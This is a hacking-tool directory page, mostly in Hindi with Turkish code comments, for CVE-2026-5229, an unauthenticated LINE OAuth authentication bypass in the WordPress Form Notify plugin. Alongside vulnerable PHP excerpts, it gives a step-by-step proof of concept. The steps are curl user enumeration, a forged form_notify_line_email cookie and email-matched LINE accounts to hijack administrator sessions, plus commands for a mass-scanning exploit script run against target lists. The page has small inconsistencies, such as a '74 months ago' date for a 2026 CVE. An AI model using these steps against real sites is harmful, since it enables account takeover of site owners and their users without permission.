Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-5229 — CVE-2026-5229: LINE OAuth कॉलबैक के माध्यम से फॉर्म नोटिफाई प्रमाणीकरण बाईपास (CVSS 9.8) | Kitploit
उपकरण/GitHubGitHub/xxconi/cve-2026-5229
भेद्यता स्कैनरशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगप्रमाणीकरणलर्निंग और शिक्षा
GitHubxxconi/cve-2026-5229

CVE-2026-5229

CVE-2026-5229: LINE OAuth कॉलबैक के माध्यम से फॉर्म नोटिफाई प्रमाणीकरण बाईपास (CVSS 9.8)

रिपॉजिटरी देखें
74 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-5229

CVE-2026-5229: Form Notify Auth Bypass via LINE OAuth Callback (CVSS 9.8)

Form Notify — LINE OAuth Authentication Bypass Scanner

Plugin: Form Notify (form-notify) भेद्यता प्रकार: Unauthenticated LINE OAuth Authentication Bypass → Account Takeover CVSS Score: 9.8 (Critical) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H प्रभावित संस्करण: <= 1.1.10 पैच संस्करण: 1.1.11+ शोधकर्ता: Paolo Tresso — Wordfence


📌 भेद्यता के बारे में

Form Notify प्लगइन, फ़ॉर्म सबमिशन के बाद सूचना भेजने वाला और LINE Login OAuth 2.0 एकीकरण प्रदान करने वाला एक WordPress प्लगइन है।

भेद्यता LINE OAuth कॉलबैक हैंडलर में मौजूद है। उपयोगकर्ता द्वारा LINE प्राधिकरण प्रवाह पूरा करने के बाद, प्लगइन WordPress खाते को केवल ईमेल पते के आधार पर हल करता है। यह कभी जांच नहीं करता कि LINE खाता पहले से उस WordPress खाते से जुड़ा है या नहीं।


🔍 संस्करण-आधारित भेद्यता तालिका

संस्करणभेद्यताहमला विधि
<= 1.1.08Cookie इंजेक्शन + ईमेल मिलानपथ A या पथ B
1.1.09 – 1.1.10ईमेल मिलान (कुकी हटा दी गई)पथ B
1.1.11+पैच किया गया—

⚙️ तकनीकी विश्लेषण

खुला REST एंडपॉइंट

LINE OAuth callback endpoint'i tamamen herkese açık olarak kayıtlıdır:

// src/APIs/Line/Login/Route.php
register_rest_route(
    'form-notify/v1',
    '/callback',
    array(
        'methods'             => 'GET',
        'callback'            => array( $this, 'get_api_callback' ),
        'permission_callback' => function () {
            return true;  // kimlik doğrulama gerekmez
        },
    )
);

Nonce सुरक्षा क्यों प्रदान नहीं करता?

WordPress nonce CSRF टोकन होते हैं, प्रमाणीकरण टोकन नहीं। कोई भी आगंतुक पृष्ठ HTML से एक वैध nonce प्राप्त कर सकता है और सत्यापन जांच पास कर सकता है।


ईमेल द्वारा खाता हल करना (1.1.10)

// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email     = $has_real_email ? $user->email : $user_raw_id . '@line.com';
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
    $this->user = get_user_by( 'email', $user_email );  // sadece email ile arama
    if ( ! is_wp_error( $this->user ) && $this->user ) {
        return true;  // linkage kontrolü YOK
    }
    return false;
}

यदि मिलान मिलता है, तो login() विधि तुरंत सत्र खोलती है:

// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
    if ( ! is_user_logged_in() ) {
        wp_clear_auth_cookie();
        wp_set_current_user( $this->user->ID );
        wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
    }
}

Cookie इंजेक्शन (<= 1.1.08)

// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
    $line_email = sanitize_text_field(
        wp_unslash( $_COOKIE['form_notify_line_email'] )
    );
}
$user_email = ( $user->email ) ? $user->email : $line_email;

जब LINE प्रोफ़ाइल ईमेल नहीं लौटाती ($user->email खाली), तो प्लगइन सीधे ब्राउज़र कुकी पढ़ता है। हमलावर इस कुकी को पूरी तरह से नियंत्रित करता है।


State सत्यापन दुर्बलता

$session_state = get_transient( 'form_notify_line_state_' . $state );

if ( empty( $session_state ) ) {
    // Transient yoksa $_SESSION'a düşer
    $session_state = sanitize_text_field(
        wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
    );
    set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}

यदि Transient की समय सीमा समाप्त हो गई है, तो $_SESSION फ़ॉलबैक सक्रिय हो जाता है। अधिकांश WordPress इंस्टॉलेशन में इस बिंदु पर $_SESSION भरा नहीं होता → state नियंत्रण को दरकिनार किया जा सकता है।


द्वितीयक समस्या — ईमेल = पासवर्ड (<= 1.1.10)

// sign_up() metodu
$userdata = array(
    'user_pass' => $user_email,  // şifre = email adresi
    ...
);

LINE OAuth प्रवाह के माध्यम से बनाए गए खातों में पासवर्ड ईमेल पते के समान होता है। यह सीधे brute-force या लॉगिन हमले की अनुमति देता है।


🔴 यह गंभीर क्यों है?

कारणविवरण
प्रमाणीकरण आवश्यक नहींकॉलबैक एंडपॉइंट पूरी तरह से सार्वजनिक
लिंकेज नियंत्रण नहींकोई भी LINE खाता पर्याप्त
कुकी हमला<= 1.1.08 में ईमेल भी आवश्यक नहीं
एडमिन सहित सभी खातेget_user_by('email') सभी को प्रभावित करता है
कमजोर state नियंत्रणCSRF सुरक्षा को दरकिनार किया जा सकता है
ईमेल = पासवर्डOAuth से बनाए गए खाते सरल brute-force के लिए खुले हैं

🧪 प्रूफ ऑफ कॉन्सेप्ट (मैनुअल)

⚠️ Disclaimer: This PoC is provided for educational and authorized security testing purposes only. Testing against systems without explicit permission is illegal.

पूर्वापेक्षाएँ:

  • Form Notify प्लगइन स्थापित और सक्रिय, LINE Login कॉन्फ़िगर किया गया
  • LINE डेवलपर खाता और LINE Login चैनल
  • लक्ष्य साइट पर LINE लॉगिन बटन वाला एक पेज

पथ A — Cookie इंजेक्शन (<= 1.1.08)

चरण 1 — लक्ष्य ईमेल पता लगाना

TARGET="https://target.com"

# WordPress REST API'den kullanıcı listesi
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool

# Veya author sayfaları
curl -s "$TARGET/?author=1" -I | grep Location

चरण 2 — कुकी सेट करें

ब्राउज़र डेवलपर टूल खोलें और कंसोल में पेस्ट करें:

document.cookie = "[email protected]; path=/";

या curl के साथ:

curl -v -b '[email protected]' \
  "$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location

चरण 3 — LINE OAuth प्रवाह शुरू करें

Location हेडर में LINE OAuth URL को ब्राउज़र में खोलें।

चरण 4 — ईमेल स्कोप दिए बिना पूरा करें

LINE सहमति स्क्रीन पर ईमेल अनुमति न दें या बिना ईमेल वाला LINE खाता उपयोग करें। LINE, ईमेल के बिना कॉलबैक पर रीडायरेक्ट करेगा। प्लगइन कुकी पर निर्भर हो जाता है।

चरण 5 — सत्र सत्यापित करें

curl -s -b 'wordpress_logged_in_XXXX=...' \
  "$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool

अपेक्षित प्रतिक्रिया:

{
  "id": 1,
  "name": "admin",
  "email": "[email protected]",
  "roles": ["administrator"]
}

पथ B — ईमेल मिलान (<= 1.1.10)

चरण 1 — लक्ष्य ईमेल पता लगाना

पथ A चरण 1 के समान।

चरण 2 — LINE खाता बनाएँ

account.line.biz पर लक्ष्य ईमेल के साथ LINE खाता बनाएँ। (ईमेल सत्यापन आवश्यक है — लक्ष्य इनबॉक्स तक पहुंच अनिवार्य है।)

चरण 3 — OAuth प्रवाह शुरू करें

https://target.com/wp-json/form-notify/v1/login

चरण 4 — ईमेल स्कोप देकर पूरा करें

LINE सहमति स्क्रीन पर ईमेल अनुमति दें। LINE, ईमेल पता कॉलबैक पर लौटाता है।

चरण 5 — स्वचालित प्रमाणीकरण

Plugin: is_member('[email protected]')
     → get_user_by('email', '[email protected]')
     → Administrator bulundu
     → wp_set_auth_cookie(1)
     → Oturum açıldı ✓

🛠️ स्वचालित स्कैनर

स्थापना

git clone https://github.com/kullanici/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt

requirements.txt

requests

🚀 उपयोग

एकल लक्ष्य — स्वचालित ईमेल खोज

python form_notify_rce.py -u http://hedef.com

विशिष्ट ईमेल के साथ पथ A (Cookie इंजेक्शन)

python form_notify_rce.py -u http://hedef.com \
  --email [email protected] \
  --path A

पथ B (ईमेल मिलान) — मैन्युअल पूर्णता

python form_notify_rce.py -u http://hedef.com \
  --email [email protected] \
  --path B

दोनों पथ एक साथ

python form_notify_rce.py -u http://hedef.com \
  --email [email protected] \
  --path both

सामूहिक स्कैनिंग

python form_notify_rce.py -l targets.txt -t 15 -o sonuclar.txt

प्रॉक्सी के साथ (Burp Suite)

python form_notify_rce.py -u http://hedef.com \
  --proxy http://127.0.0.1:8080

⚙️ पैरामीटर

टूल डाउनलोड करें